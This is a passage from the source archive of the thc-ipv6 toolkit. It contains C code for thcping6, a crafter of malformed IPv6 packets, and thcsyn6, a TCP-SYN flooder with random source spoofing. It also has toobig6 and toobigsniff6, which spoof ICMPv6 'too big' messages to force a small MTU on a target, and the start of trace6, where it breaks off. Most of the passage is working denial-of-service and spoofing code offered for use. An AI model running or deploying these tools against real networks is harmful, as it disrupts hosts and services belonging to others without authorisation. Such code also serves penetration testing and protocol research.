1000000, fill = 1, notfound = 1, count = 1; unsigned int sent = 0; extern int do_pppoe; extern int do_hdr_off; extern int do_6in4; extern int do_hdr_vlan; void help(char *prg, int help) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-EafqxO] [-e ethertype] [-H t:l:v] [-D t:l:v] [-F dst] [-e " "ethertype] [-L length] [-N nextheader] [-V version] [-t ttl] [-c class] " "[-l label] [-d size] [-S port|-U port|-T type -C code] interface src6 " "dst6 [srcmac [dstmac [data]]]\n\n", prg); printf("Options:\n"); if (help) { printf(" -x flood mode (doesn't check for replies)\n"); printf( " -w ms wait time between packets in ms (default: 1000, if " "-n not 1)\n"); printf( " -a add a hop-by-hop header with router alert " "option.\n"); printf( " -q add a hop-by-hop header with quickstart option.\n"); printf(" -E send as ethertype IPv4\n"); printf(" -e ethertype send as specified ethertype (hexadecimal!)\n"); printf(" -H t:l:v add a hop-by-hop header with special content\n"); printf(" -D t:l:v add a destination header with special content\n"); printf( " -D \"xxx\" add a large destination header which fragments " "the packet\n"); printf(" -f add a one-shot fragementation header\n"); printf(" -F ipv6address use source routing to this final destination\n"); printf(" -t ttl specify TTL (default: 255)\n"); printf(" -c class specify a class (0-4095)\n"); printf(" -l label specify a label (0-1048575)\n"); printf(" -L length set fake payload length (0-65535)\n"); printf(" -N nextheader set fake next header (0-255)\n"); printf(" -V version set IP version (0-15)\n"); printf(" -d data_size define the size of the ping data buffer\n"); printf( " -O send TCP Fast Open cookie request option (needs " "-S)\n"); } printf(" -T number ICMPv6 type to send (default: 128 = ping)\n"); printf(" -C number ICMPv6 code to send (default: 0)\n"); printf( " -S port use a TCP SYN packet on the defined port instead of " "ping\n"); printf( " -U port use a UDP packet on the defined port instead of " "ping\n"); printf(" -n count how often to send the packet (default: 1)\n"); if (help) { printf("t:l:v syntax: type:length:value, value is in hex, e.g. 1:2:0eab\n"); } else { printf(" -h show more command line options (help!)\n"); } printf( "You can put an \"x\" into src6, srcmac and dstmac for an automatic " "value.\n"); printf( "\nCraft a ICMPv6/TCP/UDP packet with special IPv6 or EH header " "options.\n"); printf( "Returns -1 on error or no reply, 0 on normal reply or 1 on error " "reply.\n"); exit(-1); } void alarming() { if (done == 0) printf("No packet received, terminating.\n"); exit(resp_type); } void check_packets(u_char *pingdata, const struct pcap_pkthdr *header, const unsigned char *data) { int len = header->caplen - 14, min = 0, ok = 0, nxt = 6, offset = 0, olen, i; long usec, fragid; unsigned int mtu = 0; unsigned char *ptr = (unsigned char *)(data + 14), frag[64] = ""; if (do_hdr_size) { ptr = (unsigned char *)(data + do_hdr_size); len = (header->caplen - do_hdr_size); if ((ptr[0] & 240) != 0x60) return; } clock_gettime(CLOCK_REALTIME, &ts2); if (ts2.tv_nsec < ts.tv_nsec) { min = 1; usec = (int)((1000000000 - ts.tv_nsec + ts2.tv_nsec) / 1000000); // usec = (int) ((1000000000 - ts.tv_nsec + ts2.tv_nsec) / 10000); } else usec = (unsigned long int)((ts2.tv_nsec - ts.tv_nsec) / 1000000); // usec = (int) ((ts2.tv_nsec - ts.tv_nsec) / 10000); if (ptr[nxt] == NXT_FRAG) { offset += 8; nxt = 40; fragid = ((unsigned char)ptr[44] << 24) + ((unsigned char)ptr[45] << 16) + ((unsigned char)ptr[46] << 8) + (unsigned char)ptr[47]; sprintf(frag, " (fragmented: 0x%08lx)", fragid); } if (ptr[nxt] == NXT_ICMP6) { if (len < 44 + offset || ((len + 44 + offset) < dlen && dlen < 1000) || (len + offset < 986 && dlen > 900)) { if (debug) printf("ignoring too short packet\n"); return; } if (dlen < 1000) { if (memcmp(pingdata, ptr + len - dlen, dlen) == 0) ok = 1; } else { if (memcmp(pingdata, ptr + 256 + offset, 100) == 0 || memcmp(pingdata, ptr + 260, 100) == 0 || memcmp(pingdata, ptr + 242, 100) == 0 || memcmp(pingdata, data + 260 + offset, 100) == 0) ok = 1; } if (ok) { printf("%04u.%03ld \t", (int)(ts2.tv_sec - ts.tv_sec - min), usec); switch (ptr[40 + offset]) { case ICMP6_PINGREPLY: if (type == NXT_ICMP6) { printf("pong"); resp_type = 0; } break; case ICMP6_PARAMPROB: printf("icmp parameter problem type %d", ptr[41 + offset]); resp_type = 1; break; case ICMP6_REDIR: printf("icmp redirect"); break; case ICMP6_UNREACH: printf("icmp unreachable type %d", ptr[41 + offset]); resp_type = 1; break; case ICMP6_TOOBIG: mtu = (ptr[44 + offset] << 24) + (ptr[45 + offset] << 16) + (ptr[46 + offset] << 8) + ptr[47 + offset]; printf("icmp too big (max mtu: %d)", mtu); resp_type = 1; break; case ICMP6_TTLEXEED: printf("icmp ttl exceeded"); resp_type = 1; break; case ICMP6_PINGREQUEST: printf("own ping seen (ignore this)\n"); resp_type = -1; break; default: // ignored printf("icmp6 %d:%d", ptr[40 + offset], ptr[41 + offset]); resp_type = 0; } if (fill) printf(" for seq=%u", sent); printf("\n"); } else printf( "(ignoring icmp6 packet with different contents (proto %d, type %d, " "code %d)) ", ptr[nxt], ptr[40 + offset], ptr[41 + offset]); } else { if (type == NXT_TCP && ptr[nxt] == NXT_TCP) { printf("%04u.%03ld \ttcp-", (int)(ts2.tv_sec - ts.tv_sec - min), usec); switch ((ptr[53 + offset] % 8)) { case 2: if (ptr[53 + offset] >= TCP_ACK) { printf("syn-ack"); resp_type = 0; } else { printf("syn (double?)"); resp_type = 1; } break; case 4: printf("rst"); resp_type = 1; break; default: printf("illegal"); resp_type = 1; break; } if (fill) printf(" for seq=%u", sent); if (fastopen && len > 62 + offset) { if (ptr[60 + offset] == 23) { olen = ptr[61 + offset]; if (len < olen + 62 + offset) olen = len - 62 - offset; printf(" TCP Fast Open cookie: "); for (i = 0; i < olen; i++) printf("%02x", (unsigned char)ptr[62 + offset + i]); } else printf(" (no fast open reply)"); } } else if (type == NXT_UDP && ptr[nxt] == NXT_UDP) printf("%04u.%03ld \tudp", (int)(ts2.tv_sec - ts.tv_sec - min), usec); } if (resp_type >= 0) printf(" packet received from %s%s\n", thc_ipv62notation(ptr + 8), frag); if (done == 0 && resp_type >= 0) { done = 1; if (count == 1) { alarm(1); notfound = 0; } } } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf[2096] = "thcping6", *routers[2], buf2[1300] = ""; unsigned char *src6 = NULL, *dst6 = NULL, smac[16] = "", dmac[16] = "", *srcmac = smac, *dstmac = dmac; char string[255] = "ip6 and dst ", *interface, *d_opt = NULL, *h_opt = NULL, *oo, *ol, *ov; int pkt1_len = 0, flags = 0, frag = 0, alert = 0, quick = 0, route = 0, ttl = 255, label = 0, class = 0, i, j, k, ether = -1, xl = 0, frag_type = NXT_ICMP6, offset = 14, icmptype = ICMP6_PINGREQUEST, icmpcode = 0, flood = 0, fake_len = -1, fake_ver = 0, fake_nxt = -1, olen = 0; pcap_t * p = NULL; thc_ipv6_hdr *hdr; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (argc > 1 && strncmp(argv[1], "-h", 2) == 0) help(argv[0], 1); if (argc < 3) help(argv[0], 0); memset(buf, 0, sizeof(buf)); while ((i = getopt(argc, argv, "w:aqfd:D:H:xF:t:c:l:OS:U:EXn:T:C:e:L:N:V:")) >= 0) { switch (i) { case 'e': if (strncmp(optarg, "0x", 2) == 0) sscanf(optarg + 2, "%x", (int *)ðer); else sscanf(optarg, "%x", (int *)ðer); break; case 'w': waitms = atoi(optarg) * 1000; break; case 'O': fastopen = 1; break; case 'L': fake_len = atoi(optarg); break; case 'N': fake_nxt = atoi(optarg); break; case 'V': fake_ver = atoi(optarg); break; case 'T': icmptype = atoi(optarg); break; case 'C': icmpcode = atoi(optarg); break; case 'X': debug = 1; break; case 'x': flood = 1; break; case 'a': alert = 1; break; case 'q': quick = 1; break; case 'f': frag++; break; case 'E': ether = 0x0800; break; case 'F': route = 1; if ((routers[0] = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", optarg); exit(-1); } routers[1] = NULL; break; case 'S': port = atoi(optarg); type = NXT_TCP; break; case 'U': port = atoi(optarg); type = NXT_UDP; break; case 'D': d_opt = optarg; break; case 'H': h_opt = optarg; break; case 't': ttl = atoi(optarg); break; case 'c': class = atoi(optarg); break; case 'l': label = atoi(optarg); break; case 'n': count = atoi(optarg); if (count == 0) count = -1; break; case 'd': dlen = atoi(optarg); fill = 0; if (dlen > 2096) dlen = 2096; for (j = 0; j < (dlen / 8); j++) memcpy(buf + j * 8, "thcping6", 8); break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0], 0); if (dlen == -1) { if (type == NXT_TCP) dlen = 0; else { dlen = 8; memset(buf, 0, sizeof(buf)); } } if (port < 1024 && (type == NXT_TCP || type == NXT_UDP)) client = 1024; if (fastopen && type != NXT_TCP) { fprintf(stderr, "Error: TCP Fast Open option (-O) requires sendig TCP SYN packets " "(-S)\n"); exit(-1); } if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; if (argc - optind == 2) { dst6 = thc_resolve6(argv[optind + 1]); if ((src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: no IPv6 address found for interface %s!\n", interface); exit(-1); } } else { dst6 = thc_resolve6(argv[optind + 2]); if (strcmp(argv[optind + 1], "x") != 0) src6 = thc_resolve6(argv[optind + 1]); else if ((src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: no IPv6 address found for interface %s!\n", interface); exit(-1); } } if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); if (argc - optind >= 4) { if (strcmp(argv[optind + 3], "x") != 0) sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *)&smac[0], (unsigned int *)&smac[1], (unsigned int *)&smac[2], (unsigned int *)&smac[3], (unsigned int *)&smac[4], (unsigned int *)&smac[5]); else srcmac = NULL; } else srcmac = NULL; if (argc - optind >= 5) { if (strcmp(argv[optind + 4], "x") != 0) sscanf(argv[optind + 4], "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0], (unsigned int *)&dmac[1], (unsigned int *)&dmac[2], (unsigned int *)&dmac[3], (unsigned int *)&dmac[4], (unsigned int *)&dmac[5]); else dstmac = NULL; } else dstmac = NULL; do { sent++; done = 0; if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, src6, dst6, ttl, 0, label, class, fake_ver)) == NULL) return -1; if (alert || quick) { j = 0; memset(buf2, 0, sizeof(buf2)); if (alert) { buf2[0] = 5; buf2[1] = 2; j = 4; } if (quick) { buf2[j] = 38; buf2[j + 1] = 6; buf2[j + 3] = 255; j += 8; } while ((j + 2) % 8 != 0) j++; if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, j) < 0) return -1; frag_type = NXT_HBH; } if (h_opt != NULL) { memset(buf2, 0, sizeof(buf2)); frag_type = NXT_HBH; oo = h_opt; if ((ol = index(oo, ':')) == NULL) { fprintf(stderr, "Error: option value must be optionnumber:length:value, e.g. " "1:2:feab -> %s\n", h_opt); exit(-1); } *ol++ = 0; if ((ov = index(ol, ':')) == NULL) { fprintf(stderr, "Error: option value must be optionnumber:length:value, e.g. " "1:2:feab -> %s\n", h_opt); exit(-1); } *ov++ = 0; buf2[0] = (atoi(oo)) % 256; buf2[1] = (atoi(ol)) % 256; if (*ov != 0) for (i = 0; i < strlen(ov) / 2; i++) { if (tolower(ov[i * 2]) >= 'a' && tolower(ov[i * 2]) <= 'f') j = (ov[i * 2] - 'a' + 10) * 16; else if (ov[i * 2] >= '0' && ov[i * 2] <= '9') j = (ov[i * 2] - '0') * 16; else { fprintf( stderr, "Error: only hexadecimal characters are allowed in value: %s\n", ov); exit(-1); } if (tolower(ov[i * 2 + 1]) >= 'a' && tolower(ov[i * 2 + 1]) <= 'f') j += (ov[i * 2 + 1] - 'a' + 10); else if (ov[i * 2 + 1] >= '0' && ov[i * 2 + 1] <= '9') j += (ov[i * 2 + 1] - '0'); else { fprintf( stderr, "Error: only hexadecimal characters are allowed in value: %s\n", ov); exit(-1); } buf2[2 + i] = j % 256; } if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, 2 + (atoi(ol) % 256)) < 0) return -1; } if (frag) { for (k = 0; k < frag; k++) if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, getpid() + k + flood) < 0) return -1; if (frag_type == NXT_DST) frag_type = NXT_FRAG; } if (route) { if (thc_add_hdr_route(pkt1, &pkt1_len, routers, 1) < 0) return -1; if (frag_type == NXT_DST) frag_type = NXT_ROUTE; } if (d_opt != NULL) { memset(buf2, 0, sizeof(buf2)); if (d_opt[0] == 'x') { xl = 1; frag_type = NXT_DST; if (thc_add_hdr_dst(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0) return -1; } else { oo = d_opt; if ((ol = index(oo, ':')) == NULL) { fprintf(stderr, "Error: option value must be optionnumber:length:value, e.g. " "1:2:feab: %s\n", h_opt); exit(-1); } *ol++ = 0; if ((ov = index(ol, ':')) == NULL) { fprintf(stderr, "Error: option value must be optionnumber:length:value, e.g. " "1:2:feab: %s\n", h_opt); exit(-1); } *ov++ = 0; buf2[0] = (atoi(oo)) % 256; buf2[1] = (atoi(ol)) % 256; if (*ov != 0) for (i = 0; i < strlen(ov) / 2; i++) { if (tolower(ov[i * 2]) >= 'a' && tolower(ov[i * 2]) <= 'f') j = (ov[i * 2] - 'a' + 10) * 16; else if (ov[i * 2] >= '0' && ov[i * 2] <= '9') j = (ov[i * 2] - '0') * 16; else { fprintf(stderr, "Error: only hexadecimal characters are allowed in " "value: %s\n", ov); exit(-1); } if (tolower(ov[i * 2 + 1]) >= 'a' && tolower(ov[i * 2 + 1]) <= 'f') j += (ov[i * 2 + 1] - 'a' + 10); else if (ov[i * 2 + 1] >= '0' && ov[i * 2 + 1] <= '9') j += (ov[i * 2 + 1] - '0'); else { fprintf(stderr, "Error: only hexadecimal characters are allowed in " "value: %s\n", ov); exit(-1); } buf2[2 + i] = j % 256; } if (thc_add_hdr_dst(pkt1, &pkt1_len, buf2, 2 + (atoi(ol) % 256)) < 0) return -1; } } if (argc - optind >= 6) { if (dlen != 8) { fprintf(stderr, "Warning: the data option is ignored if the -d option is " "supplied\n"); } else { dlen = strlen(argv[optind + 5]); if (dlen > sizeof(buf)) dlen = sizeof(buf) - 1; memcpy(buf, argv[optind + 5], dlen); buf[dlen] = 0; fill = 0; } } if ((port == 0 || type == NXT_UDP) && fill) memcpy(buf, (char *)&sent, sizeof(sent)); if (port == 0) { if (thc_add_icmp6(pkt1, &pkt1_len, icmptype, icmpcode, flags, (unsigned char *)&buf, dlen, 0) < 0) return -1; } else if (type == NXT_TCP) { memset(buf2, 0, sizeof(buf2)); if (fastopen) { memset(buf2, 0, sizeof(buf2)); olen = 4; buf2[0] = 34; buf2[1] = 2; } if (thc_add_tcp(pkt1, &pkt1_len, port + flood + client, port, sent, 0, TCP_SYN, 5760, 0, (unsigned char *)&buf2, olen, (unsigned char *)&buf, dlen) < 0) return -1; } else if (thc_add_udp(pkt1, &pkt1_len, port + flood + client, port, 0, (unsigned char *)&buf, dlen) < 0) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } hdr = (thc_ipv6_hdr *)pkt1; if (fake_nxt != -1) { if (do_hdr_size) { hdr->pkt[6 + do_hdr_size] = (unsigned char)((unsigned int)fake_nxt % 256); } else hdr->pkt[20] = (unsigned char)((unsigned int)fake_nxt % 256); } if (fake_len != -1) { if (do_hdr_size) { hdr->pkt[4 + do_hdr_size] = (unsigned char)(((unsigned int)fake_len % 65536) / 256); hdr->pkt[5 + do_hdr_size] = (unsigned char)((unsigned int)fake_len % 256); } else { hdr->pkt[18] = (unsigned char)(((unsigned int)fake_len % 65536) / 256); // ethernet protocol value for IPv4 hdr->pkt[19] = (unsigned char)((unsigned int)fake_len % 256); } } if (ether != -1) { if (do_hdr_size) { if (do_pppoe) { hdr->pkt[20 + do_hdr_off] = 0; // PPP protocol value for IPv4 hdr->pkt[21 + do_hdr_off] = 0x21; } else if (do_hdr_vlan && do_6in4 == 0) { hdr->pkt[16] = 8; // ethernet protocol value for IPv4 hdr->pkt[17] = 0; } else fprintf(stderr, "Warning: ether option does not work with 6in4 injection\n"); } else { hdr->pkt[12] = (unsigned char)(((unsigned int)ether % 65536) / 256); // ethernet protocol value for IPv4 hdr->pkt[13] = (unsigned char)((unsigned int)ether % 256); } } signal(SIGALRM, alarming); if (p == NULL) if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if (xl || hdr->pkt_len > thc_get_mtu(interface)) // for (i = 0; i < count; i++) thc_send_as_fragment6(interface, src6, dst6, frag_type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1280); else // for (i = 0; i < count; i++) while (thc_send_pkt(interface, pkt1, &pkt1_len) < 0) usleep(1); clock_gettime(CLOCK_REALTIME, &ts); if (flood < 2) { printf("0000.000 \t%s packet sent to %s\n", port == 0 ? "ping" : type == NXT_TCP ? "tcp-syn" : "udp", thc_ipv62notation(dst6)); if (flood == 1 && type != NXT_TCP && type != NXT_UDP && frag == 0) { if (xl) for (i = 0; i < count; i++) thc_send_as_fragment6(interface, src6, dst6, frag_type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1280); else for (i = 0; i < count; i++) while (thc_send_pkt(interface, pkt1, &pkt1_len) < 0) usleep(1); } } { int slices = waitms / 500, counter; for (counter = 0; counter < slices /*&& done == 0*/; counter++) { usleep(500); while (thc_pcap_check(p, (char *)check_packets, buf) > 0) ; } } pkt1 = thc_destroy_packet(pkt1); if (flood > 0) flood++; if (count > 0) count--; } while (flood != 0 || count != 0); alarm(2); while (notfound) { thc_pcap_check(p, (char *)check_packets, buf); } return resp_type; // not reached } thc-ipv6-3.8/thcsyn6.c000066400000000000000000000151171376121567700146120ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-aAcdDfrORS] [-i microsecond] [-m dstmac] [-p port] [-s " "sourceip6] interface target port\n\n", prg); printf("Options:\n"); printf(" -i sending interval of packets (in microseconds)\n"); printf(" -a add hop-by-hop header with router alert\n"); printf(" -d add destination header (can be set up to 64 times)\n"); printf( " -f add atomic fragmentation header (can be set up to 64 times)\n"); printf(" -A send TCP-ACK packets\n"); printf(" -S send TCP-SYN-ACK packets\n"); printf(" -r randomize the source from your /64 prefix\n"); printf(" -R randomize the source fully\n"); printf(" -D randomize the destination (treat as /64)\n"); printf(" -O add a TCP Fast Open cookie (SYN-only packets)\n"); printf(" -m dstmac use this destination mac address\n"); printf(" -s sourceip6 use this as source IPv6 address\n"); printf(" -p port use fixed source port\n"); printf( "\nFlood the target port with TCP-SYN packets. If you supply \"x\" as " "port, it\nis randomized.\n"); exit(-1); } #define IDS_STRING 0xbebacefa int main(int argc, char *argv[]) { char * interface, *ptr, buf2[8], buf3[18]; unsigned char *dst = NULL, *dstmac = NULL, *src = NULL, *srcmac = NULL, dmac[6]; int i, type = TCP_SYN, alert = 0, randsrc = 0, randdst = 0, randsrcp = 1, randdstp = 0, dont_crc = 0, seq, do_dst = 0, do_frag = 0, fastopen = 0, olen = 0; unsigned char * pkt = NULL; int pkt_len = 0, count = 0; unsigned short int sport, port; int msec = 0; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); while ((i = getopt(argc, argv, "i:afAcrRs:DSp:m:dfO")) >= 0) { switch (i) { case 'i': msec = atoi(optarg); break; case 'a': alert = 8; break; case 'O': fastopen = 1; break; case 'A': type = TCP_ACK; break; case 'S': type = TCP_SYN + TCP_ACK; break; case 'c': dont_crc = IDS_STRING; break; case 'm': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0], (unsigned int *)&dmac[1], (unsigned int *)&dmac[2], (unsigned int *)&dmac[3], (unsigned int *)&dmac[4], (unsigned int *)&dmac[5]); dstmac = dmac; break; case 'r': randsrc = 8; break; case 'R': randsrc = 1; break; case 'D': randdst = 8; break; case 'p': sport = atoi(optarg); randsrcp = 0; break; case 's': src = thc_resolve6(optarg); break; case 'd': do_dst++; break; case 'f': do_frag++; break; default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } if (argc - optind < 3) help(argv[0]); interface = argv[optind]; if ((ptr = index(argv[optind + 1], '/')) != NULL) *ptr = 0; if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: Can not resolve %s\n", argv[optind + 1]); exit(-1); } if (strcasecmp(argv[optind + 2], "x") == 0) randdstp = 1; else port = atoi(argv[optind + 2]); if ((srcmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (src == NULL) if ((src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface); exit(-1); } if (src[0] >= 0xfe && dst[0] < 0xfe) { fprintf(stderr, "Error: link local address on interface, destination however is " "remote\n"); exit(-1); } if (dstmac == NULL) { if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) { fprintf(stderr, "Error: can not find a route to target %s\n", argv[2]); exit(-1); } } memset(buf2, 0, sizeof(buf2)); buf2[0] = 5; buf2[1] = 2; if (fastopen) { buf3[0] = 22; buf3[1] = 18; memcpy(buf3 + 2, dst, 16); olen = 18; } printf( "Starting to flood target network with TCP%s%s %s (Press Control-C to " "end, a dot is printed for every 1000 packets):\n", (type & TCP_SYN) > 0 ? "-SYN" : "", (type & TCP_ACK) > 0 ? "-ACK" : "", interface); if (type == TCP_SYN) printf( "Remember to filter outgoing RST packets for SYN flooding, e.g. " "iptables -I OUTPUT -p tcp --tcp-flags RST RST -j DROP\n"); while (1) { if (randsrc) { for (i = randsrc; i < 16; i++) src[i] = rand() % 256; } if (randdst) { for (i = randdst; i < 16; i++) dst[i] = rand() % 256; } if (randsrcp) sport = rand() % 65536; if (randdstp) port = rand() % 65536; seq = rand(); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (alert) { if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0) return -1; } if (do_dst) { if (do_dst > (thc_get_mtu(interface) - 40 - alert - 24) / 8) do_dst = (thc_get_mtu(interface) - 40 - alert - 24) / 8; memset(buf2, 0, sizeof(buf2)); for (i = 0; i < do_dst; i++) if (thc_add_hdr_dst(pkt, &pkt_len, buf2, 6) < 0) return -1; } if (do_frag) { if (do_frag > (thc_get_mtu(interface) - 40 - alert - 24) / 8) do_frag = (thc_get_mtu(interface) - 40 - alert - 24) / 8; memset(buf2, 0, sizeof(buf2)); for (i = 0; i < do_dst; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + i) < 0) return -1; } if (thc_add_tcp(pkt, &pkt_len, sport, port, seq, 0, type, 0x3840, 0, buf3, olen, NULL, 0) < 0) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); pkt = thc_destroy_packet(pkt); count++; if (count % 1000 == 0) printf("."); if (msec != 0) usleep(msec); } return 0; } thc-ipv6-3.8/toobig6.c000066400000000000000000000054131376121567700145630ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-u] interface target-ip existing-ip mtu [hop-limit]\n\n", prg); printf("Implants the specified mtu on the target.\n"); printf( "If the TTL of the target is not 64, then specify this as the last " "option.\n"); printf( "Option -u will send the TooBig without the spoofed ping6 from " "existing-ip.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt = NULL, buf[65536]; unsigned char *mac6 = NULL, *src6, *target6; int rmtu, buf_len = 0, ttl = 63, offset = 14; int pkt_len = 0; thc_ipv6_hdr * ipv6; char * interface; unsigned int mtu, related = 1; if (argc > 3 && strncmp(argv[1], "-u", 2) == 0) { related = 0; argc--; argv++; } if (argc < 5 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); interface = argv[1]; target6 = thc_resolve6(argv[2]); src6 = thc_resolve6(argv[3]); mtu = atoi(argv[4]); rmtu = thc_get_mtu(interface); if (do_hdr_size) offset = do_hdr_size; if (rmtu < 1280 || rmtu > 65530) { fprintf(stderr, "Error: mtu size invalid on interface %s\n", interface); exit(-1); } if (argc > 5) ttl = atoi(argv[5]); if (ttl < 0 || ttl > 255) ttl = 64; mac6 = thc_get_own_mac(interface); if (mtu > 47) buf_len = mtu - 47; if (buf_len < 0) buf_len = rmtu - 48 - offset; if (rmtu - 48 < buf_len) buf_len = rmtu - 48; memset(buf, 'A', sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, target6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, buf_len, 0) < 0) return -1; if (thc_generate_pkt(interface, NULL, NULL, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } if (related) if (thc_send_pkt(interface, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } usleep(50000); ipv6 = (thc_ipv6_hdr *)pkt; thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); ipv6->pkt[offset + 7] = (unsigned char)ttl; thc_toobig6(interface, src6, mac6, NULL, mtu, ipv6->pkt + offset, ipv6->pkt_len - offset); printf("toobig6 attack on %s for target %s and MTU %s sent.\n", argv[2], argv[3], argv[4]); return 0; } thc-ipv6-3.8/toobigsniff6.c000066400000000000000000000066401376121567700156140ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" unsigned char *mac6, *src6, *interface, *ip6; unsigned int loop = 0, go = 1, mtu, offset = 14; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-c] interface target mtu\n\n", prg); printf( "Sniff for packte from target and send an ICMPv6 too big error message " "based on\n"); printf( "that packet with the MTU specified. If you supply a '*' as-address, any " "global\n"); printf("traffic sniffed will be used.\n"); printf( "If you supply the option -c the tool will not quit upon first packet " "match, but\ncontinue running and send packets until aborted.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void send_toobig(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr, *target; int len = header->caplen; if (do_hdr_size) { ipv6hdr = (unsigned char *)(data + do_hdr_size); len = header->caplen - do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; offset = do_hdr_size; } else { ipv6hdr = (unsigned char *)(data + offset); len = header->caplen - offset; } if (ip6 != NULL && memcmp(ip6, ipv6hdr + 8, 16) != 0) // is it the target? return; if (ipv6hdr[6] == NXT_ICMP6 && ipv6hdr[40] < 128) // no ICMP Errors return; thc_toobig6(interface, src6, mac6, NULL, mtu, ipv6hdr, len); target = thc_ipv62notation(ipv6hdr + 8); printf("Sent TooBig packet to %s\n", target); free(target); if (loop == 0) // do we loop? go = 0; } int main(int argc, char *argv[]) { char string[] = "ip6 and ! src net f000::/4 and ! dst net f000::/4"; int rawmode = 0, i; pcap_t *p; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "cr")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; offset = 0; break; case 'c': loop = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 3) help(argv[0]); if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; mac6 = thc_get_own_mac(interface); src6 = thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL); mtu = atoi(argv[optind + 2]); if (src6 == NULL || mac6 == NULL) { fprintf(stderr, "Error: invalid interface or IPv6 not available: %s\n", interface); exit(-1); } if (argv[optind + 1][0] == '*' || argv[optind + 1][1] == '*') { ip6 = NULL; } else { ip6 = thc_resolve6(argv[optind + 1]); if (ip6 == NULL) { fprintf(stderr, "Error: target address is invalid: %s\n", argv[optind + 1]); exit(-1); } } if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } printf("Watching for %s from %s (Press Control-C to end) ...\n", loop == 0 ? "a packet" : "packets", argv[optind + 1]); do { thc_pcap_check(p, (char *)send_toobig, NULL); usleep(25); } while (go); thc_pcap_close(p); return 0; } thc-ipv6-3.8/trace6.c000066400000000000000000000473721376121567700144100ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define MAX_SEND 15 #define INCREASE 8 #define SENDS 3 #define POS_SIZE ((SENDS * 